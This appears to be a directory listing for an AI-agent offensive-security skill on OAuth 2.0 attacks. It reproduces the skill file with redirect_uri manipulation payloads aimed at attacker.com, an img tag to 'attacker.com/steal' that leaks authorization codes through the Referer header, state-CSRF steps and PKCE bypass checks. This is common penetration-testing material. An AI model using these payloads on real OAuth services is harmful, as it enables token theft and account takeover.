Oauth

Skill sunilgentyala/OmniRed/skills/auth/oauth

OmniRed: Multi-AI offensive security skills library for Claude, ChatGPT, Gemini & Microsoft Copilot — with unique MCP, LLM-pipeline, and AI-native attack categories. By Sunil Gentyala, Independent Researcher.

Install

npx -y skills add sunilgentyala/OmniRed --skill oauth

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

2 things to look at

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What its author says it does

Copied from the file, not written here

OAuth 2.0 attack methodology. Covers redirect_uri manipulation, state CSRF bypass, authorization code interception, implicit flow token theft, open redirect chaining, and PKCE bypass.

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

2.3 KB, 487 tokens by cl100k_base, as published. Nobody here has run it

OAuth 2.0 Attacks

Phase 1 — Recon

Map the OAuth flow: authorization endpoint, token endpoint, redirect URIs, scopes
Check for: state parameter presence, PKCE enforcement, redirect_uri validation strictness

Attack 1 — Redirect URI Manipulation

# If server does prefix matching only:
redirect_uri=https://client.com.attacker.com/callback

# If server allows subpaths:
redirect_uri=https://client.com/callback/../attacker-path

# If server allows ports:
redirect_uri=https://client.com:8080/callback

# If regex is used:
redirect_uri=https://attacker.comclient.com/callback
redirect_uri=https://[email protected]/callback

Attack 2 — State Parameter CSRF

If no state parameter (or predictable state):

1. Attacker crafts an authorization URL without state
2. Sends it to victim
3. Victim clicks, logs in, gets redirected with `code`
4. Attacker uses the code (via CSRF injection) to bind attacker's account
5. Result: attacker logs in as victim

Attack 3 — Authorization Code Interception

Via Referer header:

<!-- On a page with a third-party resource: -->
<img src="https://attacker.com/steal">
<!-- If victim visits the redirect page, Referer header sends the code to attacker -->

Via open redirect:

redirect_uri=https://client.com/redirect?url=https://attacker.com

Attack 4 — Implicit Flow Token Theft

# In implicit flow, access_token appears in URL fragment (#)
# If the app passes it to a third-party analytics/CDN script:
document.referrer / window.location.hash → token leaked to third party

Attack 5 — PKCE Bypass

If PKCE is implemented but code_verifier is not validated server-side:

Send authorization request with any code_challenge
Exchange with any code_verifier
→ If server accepts, PKCE is cosmetic

Tools

Burp Suite — intercept and modify OAuth flows
oauth-scan — automated OAuth testing

OWASP Mapping

A07:2021 — Identification and Authentication Failures

Gives 0 of the 12 instructions most auth identity skills give in 487 tokens

Counted across 409 of the 410 authors here whose files we hold, read 2026-08-06

hash passwords with bcrypt or argon2in 53 of 409, across 43 files
use parameterized queriesin 47 of 409, across 39 files
load SECRET_KEY from environment variablesin 23 of 409, across 14 files
validate all input server-sidein 19 of 409, across 11 files
refresh access tokens before expiryin 17 of 409, across 9 files
store tokens in httponly cookiesin 17 of 409, across 16 files
store refresh tokens securelyin 16 of 409, across 6 files
validate webhook signatures before processingin 15 of 409, across 5 files
sanitize user inputsin 15 of 409, across 9 files
implement rate limiting on auth endpointsin 14 of 409, across 9 files
encrypt sensitive data at restin 13 of 409, across 10 files
validate uploaded file extensions and sizesin 12 of 409, across 5 files

Said here and by no other author read

check for state parameter presence
check for PKCE enforcement
check redirect_uri validation strictness
manipulate the redirect_uri parameter
craft authorization URLs without a state parameter
intercept authorization codes via referer header

Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.